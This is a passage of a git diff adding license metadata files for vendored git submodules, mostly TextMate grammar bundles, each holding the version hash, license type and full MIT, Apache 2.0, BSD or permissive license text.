+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/mojo-syntax.dep.yml b/vendor/licenses/git_submodule/mojo-syntax.dep.yml
new file mode 100644
index 0000000000..e11fa14d7d
--- /dev/null
+++ b/vendor/licenses/git_submodule/mojo-syntax.dep.yml
@@ -0,0 +1,33 @@
+---
+name: mojo-syntax
+version: 46eccdaeda2b1587e9b82808cdb35670f359d16d
+type: git_submodule
+homepage: https://github.com/modularml/mojo-syntax.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2022-present Modular Inc.  https://www.modular.com
+    Copyright (c) 2015-present MagicStack Inc.  http://magic.io
+    Copyright (c) 2015-present Microsoft Corporation
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/monkey.dep.yml b/vendor/licenses/git_submodule/monkey.dep.yml
new file mode 100644
index 0000000000..a85c056713
--- /dev/null
+++ b/vendor/licenses/git_submodule/monkey.dep.yml
@@ -0,0 +1,8 @@
+---
+type: git_submodule
+name: monkey
+version: 3a323c057a963a32d1fe002f8b88ce98d6faff2c
+license: mit
+licenses:
+- text: monkey.tmbundle is made available under the [MIT License](http://choosealicense.com/licenses/mit/).
+notices: []
diff --git a/vendor/licenses/git_submodule/moonscript-tmbundle.dep.yml b/vendor/licenses/git_submodule/moonscript-tmbundle.dep.yml
new file mode 100644
index 0000000000..79276602ab
--- /dev/null
+++ b/vendor/licenses/git_submodule/moonscript-tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+type: git_submodule
+name: moonscript-tmbundle
+version: cf69300f2a38d4c585bef4c5ad8543f5e258de8d
+license: mit
+licenses:
+- text: |-
+    License (MIT)
+
+    Copyright (C) 2014 by Leaf Corcoran
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/nemerle.tmbundle.dep.yml b/vendor/licenses/git_submodule/nemerle.tmbundle.dep.yml
new file mode 100644
index 0000000000..3febe65eac
--- /dev/null
+++ b/vendor/licenses/git_submodule/nemerle.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: nemerle.tmbundle
+version: 8311f0f019a58a2c154a81e2ea9d3f4ddeec1298
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/nesC.dep.yml b/vendor/licenses/git_submodule/nesC.dep.yml
new file mode 100644
index 0000000000..39b930e418
--- /dev/null
+++ b/vendor/licenses/git_submodule/nesC.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: nesC
+version: 573e09cd923ac05956f7892c7f9ce74e079d247d
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2016 Christopher Wilson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/nix-linguist.dep.yml b/vendor/licenses/git_submodule/nix-linguist.dep.yml
new file mode 100644
index 0000000000..0c4aa9ca7a
--- /dev/null
+++ b/vendor/licenses/git_submodule/nix-linguist.dep.yml
@@ -0,0 +1,34 @@
+---
+name: nix-linguist
+version: 121b33169b266b6cb3d615dd580a6a8ddd17ab55
+type: git_submodule
+homepage: https://github.com/sambacha/nix-linguist.git
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    MIT License
+
+    Copyright (c) 2022 sam bacha
+    Copyright (c) 2021 VSCode Nix IDE Contributors
+
+    <https://github.com/sambacha/nix-linguist>
+    <https://github.com/nix-community/vscode-nix-ide>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/nu-grammar.dep.yml b/vendor/licenses/git_submodule/nu-grammar.dep.yml
new file mode 100644
index 0000000000..cb6f4d009c
--- /dev/null
+++ b/vendor/licenses/git_submodule/nu-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: nu-grammar
+version: 58e40adb3bfb31807796a8533d5ab53d52119f7b
+type: git_submodule
+homepage: https://github.com/hustcer/nu-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 - 2023 The Nushell Project Developers
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/nu.tmbundle.dep.yml b/vendor/licenses/git_submodule/nu.tmbundle.dep.yml
new file mode 100644
index 0000000000..2aea4937e1
--- /dev/null
+++ b/vendor/licenses/git_submodule/nu.tmbundle.dep.yml
@@ -0,0 +1,209 @@
+---
+type: git_submodule
+name: nu.tmbundle
+version: 7beffd8cfc2542b43ebfabd66998d0fd503d1bb0
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                            Version 2.0, January 2004
+                         http://www.apache.org/licenses/
+
+    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+    1. Definitions.
+
+       "License" shall mean the terms and conditions for use, reproduction,
+       and distribution as defined by Sections 1 through 9 of this document.
+
+       "Licensor" shall mean the copyright owner or entity authorized by
+       the copyright owner that is granting the License.
+
+       "Legal Entity" shall mean the union of the acting entity and all
+       other entities that control, are controlled by, or are under common
+       control with that entity. For the purposes of this definition,
+       "control" means (i) the power, direct or indirect, to cause the
+       direction or management of such entity, whether by contract or
+       otherwise, or (ii) ownership of fifty percent (50%) or more of the
+       outstanding shares, or (iii) beneficial ownership of such entity.
+
+       "You" (or "Your") shall mean an individual or Legal Entity
+       exercising permissions granted by this License.
+
+       "Source" form shall mean the preferred form for making modifications,
+       including but not limited to software source code, documentation
+       source, and configuration files.
+
+       "Object" form shall mean any form resulting from mechanical
+       transformation or translation of a Source form, including but
+       not limited to compiled object code, generated documentation,
+       and conversions to other media types.
+
+       "Work" shall mean the work of authorship, whether in Source or
+       Object form, made available under the License, as indicated by a
+       copyright notice that is included in or attached to the work
+       (an example is provided in the Appendix below).
+
+       "Derivative Works" shall mean any work, whether in Source or Object
+       form, that is based on (or derived from) the Work and for which the
+       editorial revisions, annotations, elaborations, or other modifications
+       represent, as a whole, an original work of authorship. For the purposes
+       of this License, Derivative Works shall not include works that remain
+       separable from, or merely link (or bind by name) to the interfaces of,
+       the Work and Derivative Works thereof.
+
+       "Contribution" shall mean any work of authorship, including
+       the original version of the Work and any modifications or additions
+       to that Work or Derivative Works thereof, that is intentionally
+       submitted to Licensor for inclusion in the Work by the copyright owner
+       or by an individual or Legal Entity authorized to submit on behalf of
+       the copyright owner. For the purposes of this definition, "submitted"
+       means any form of electronic, verbal, or written communication sent
+       to the Licensor or its representatives, including but not limited to
+       communication on electronic mailing lists, source code control systems,
+       and issue tracking systems that are managed by, or on behalf of, the
+       Licensor for the purpose of discussing and improving the Work, but
+       excluding communication that is conspicuously marked or otherwise
+       designated in writing by the copyright owner as "Not a Contribution."
+
+       "Contributor" shall mean Licensor and any individual or Legal Entity
+       on behalf of whom a Contribution has been received by Licensor and
+       subsequently incorporated within the Work.
+
+    2. Grant of Copyright License. Subject to the terms and conditions of
+       this License, each Contributor hereby grants to You a perpetual,
+       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+       copyright license to reproduce, prepare Derivative Works of,
+       publicly display, publicly perform, sublicense, and distribute the
+       Work and such Derivative Works in Source or Object form.
+
+    3. Grant of Patent License. Subject to the terms and conditions of
+       this License, each Contributor hereby grants to You a perpetual,
+       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+       (except as stated in this section) patent license to make, have made,
+       use, offer to sell, sell, import, and otherwise transfer the Work,
+       where such license applies only to those patent claims licensable
+       by such Contributor that are necessarily infringed by their
+       Contribution(s) alone or by combination of their Contribution(s)
+       with the Work to which such Contribution(s) was submitted. If You
+       institute patent litigation against any entity (including a
+       cross-claim or counterclaim in a lawsuit) alleging that the Work
+       or a Contribution incorporated within the Work constitutes direct
+       or contributory patent infringement, then any patent licenses
+       granted to You under this License for that Work shall terminate
+       as of the date such litigation is filed.
+
+    4. Redistribution. You may reproduce and distribute copies of the
+       Work or Derivative Works thereof in any medium, with or without
+       modifications, and in Source or Object form, provided that You
+       meet the following conditions:
+
+       (a) You must give any other recipients of the Work or
+           Derivative Works a copy of this License; and
+
+       (b) You must cause any modified files to carry prominent notices
+           stating that You changed the files; and
+
+       (c) You must retain, in the Source form of any Derivative Works
+           that You distribute, all copyright, patent, trademark, and
+           attribution notices from the Source form of the Work,
+           excluding those notices that do not pertain to any part of
+           the Derivative Works; and
+
+       (d) If the Work includes a "NOTICE" text file as part of its
+           distribution, then any Derivative Works that You distribute must
+           include a readable copy of the attribution notices contained
+           within such NOTICE file, excluding those notices that do not
+           pertain to any part of the Derivative Works, in at least one
+           of the following places: within a NOTICE text file distributed
+           as part of the Derivative Works; within the Source form or
+           documentation, if provided along with the Derivative Works; or,
+           within a display generated by the Derivative Works, if and
+           wherever such third-party notices normally appear. The contents
+           of the NOTICE file are for informational purposes only and
+           do not modify the License. You may add Your own attribution
+           notices within Derivative Works that You distribute, alongside
+           or as an addendum to the NOTICE text from the Work, provided
+           that such additional attribution notices cannot be construed
+           as modifying the License.
+
+       You may add Your own copyright statement to Your modifications and
+       may provide additional or different license terms and conditions
+       for use, reproduction, or distribution of Your modifications, or
+       for any such Derivative Works as a whole, provided Your use,
+       reproduction, and distribution of the Work otherwise complies with
+       the conditions stated in this License.
+
+    5. Submission of Contributions. Unless You explicitly state otherwise,
+       any Contribution intentionally submitted for inclusion in the Work
+       by You to the Licensor shall be under the terms and conditions of
+       this License, without any additional terms or conditions.
+       Notwithstanding the above, nothing herein shall supersede or modify
+       the terms of any separate license agreement you may have executed
+       with Licensor regarding such Contributions.
+
+    6. Trademarks. This License does not grant permission to use the trade
+       names, trademarks, service marks, or product names of the Licensor,
+       except as required for reasonable and customary use in describing the
+       origin of the Work and reproducing the content of the NOTICE file.
+
+    7. Disclaimer of Warranty. Unless required by applicable law or
+       agreed to in writing, Licensor provides the Work (and each
+       Contributor provides its Contributions) on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+       implied, including, without limitation, any warranties or conditions
+       of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+       PARTICULAR PURPOSE. You are solely responsible for determining the
+       appropriateness of using or redistributing the Work and assume any
+       risks associated with Your exercise of permissions under this License.
+
+    8. Limitation of Liability. In no event and under no legal theory,
+       whether in tort (including negligence), contract, or otherwise,
+       unless required by applicable law (such as deliberate and grossly
+       negligent acts) or agreed to in writing, shall any Contributor be
+       liable to You for damages, including any direct, indirect, special,
+       incidental, or consequential damages of any character arising as a
+       result of this License or out of the use or inability to use the
+       Work (including but not limited to damages for loss of goodwill,
+       work stoppage, computer failure or malfunction, or any and all
+       other commercial damages or losses), even if such Contributor
+       has been advised of the possibility of such damages.
+
+    9. Accepting Warranty or Additional Liability. While redistributing
+       the Work or Derivative Works thereof, You may choose to offer,
+       and charge a fee for, acceptance of support, warranty, indemnity,
+       or other liability obligations and/or rights consistent with this
+       License. However, in accepting such obligations, You may act only
+       on Your own behalf and on Your sole responsibility, not on behalf
+       of any other Contributor, and only if You agree to indemnify,
+       defend, and hold each Contributor harmless for any liability
+       incurred by, or claims asserted against, such Contributor by reason
+       of your accepting any such warranty or additional liability.
+
+    END OF TERMS AND CONDITIONS
+
+    APPENDIX: How to apply the Apache License to your work.
+
+       To apply the Apache License to your work, attach the following
+       boilerplate notice, with the fields enclosed by brackets "[]"
+       replaced with your own identifying information. (Don't include
+       the brackets!)  The text should be enclosed in the appropriate
+       comment syntax for the file format. We also recommend that a
+       file or class name and description of purpose be included on the
+       same "printed page" as the copyright notice for easier
+       identification within third-party archives.
+
+    Copyright [yyyy] [name of copyright owner]
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/objective-c.tmbundle.dep.yml b/vendor/licenses/git_submodule/objective-c.tmbundle.dep.yml
new file mode 100644
index 0000000000..ec2abf26fe
--- /dev/null
+++ b/vendor/licenses/git_submodule/objective-c.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: objective-c.tmbundle
+version: d59562b0948d4dae01eaee1a2b2bcde3b478404e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/ocaml.tmbundle.dep.yml b/vendor/licenses/git_submodule/ocaml.tmbundle.dep.yml
new file mode 100644
index 0000000000..df225f7bf5
--- /dev/null
+++ b/vendor/licenses/git_submodule/ocaml.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: ocaml.tmbundle
+version: 8158940052861bcf90c28f343dff2c50ab440b3f
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/ooc.tmbundle.dep.yml b/vendor/licenses/git_submodule/ooc.tmbundle.dep.yml
new file mode 100644
index 0000000000..0ac877df3e
--- /dev/null
+++ b/vendor/licenses/git_submodule/ooc.tmbundle.dep.yml
@@ -0,0 +1,53 @@
+---
+type: git_submodule
+name: ooc.tmbundle
+version: ff03f615b33e9a6266b43ca2a70dacffe21f0505
+license: bsd-2-clause
+licenses:
+- text: |-
+    Copyright (c) 2009-2010, 2014 Noel Cower, Mark Fayngersh.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+    ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+    ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices:
+- text: |-
+    Copyright (c) 2009-2010, 2014 Noel Cower, Mark Fayngersh.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+    ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+    ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/git_submodule/opa.tmbundle.dep.yml b/vendor/licenses/git_submodule/opa.tmbundle.dep.yml
new file mode 100644
index 0000000000..204bec2ff4
--- /dev/null
+++ b/vendor/licenses/git_submodule/opa.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+name: opa.tmbundle
+version: 4c00f8a619e4ed6e245610394df1911f0f68d8d0
+type: git_submodule
+homepage: https://github.com/mads379/opa.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014 Mads Hartmann Jensen
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+    of the Software, and to permit persons to whom the Software is furnished to do
+    so, subject to the following conditions:
+
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/openscad.tmbundle.dep.yml b/vendor/licenses/git_submodule/openscad.tmbundle.dep.yml
new file mode 100644
index 0000000000..d545054a35
--- /dev/null
+++ b/vendor/licenses/git_submodule/openscad.tmbundle.dep.yml
@@ -0,0 +1,30 @@
+---
+name: openscad.tmbundle
+version: 906f292f2007b8e5062d79ab200427904aa77e49
+type: git_submodule
+homepage: https://github.com/tbuser/openscad.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2017 Tony Buser
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
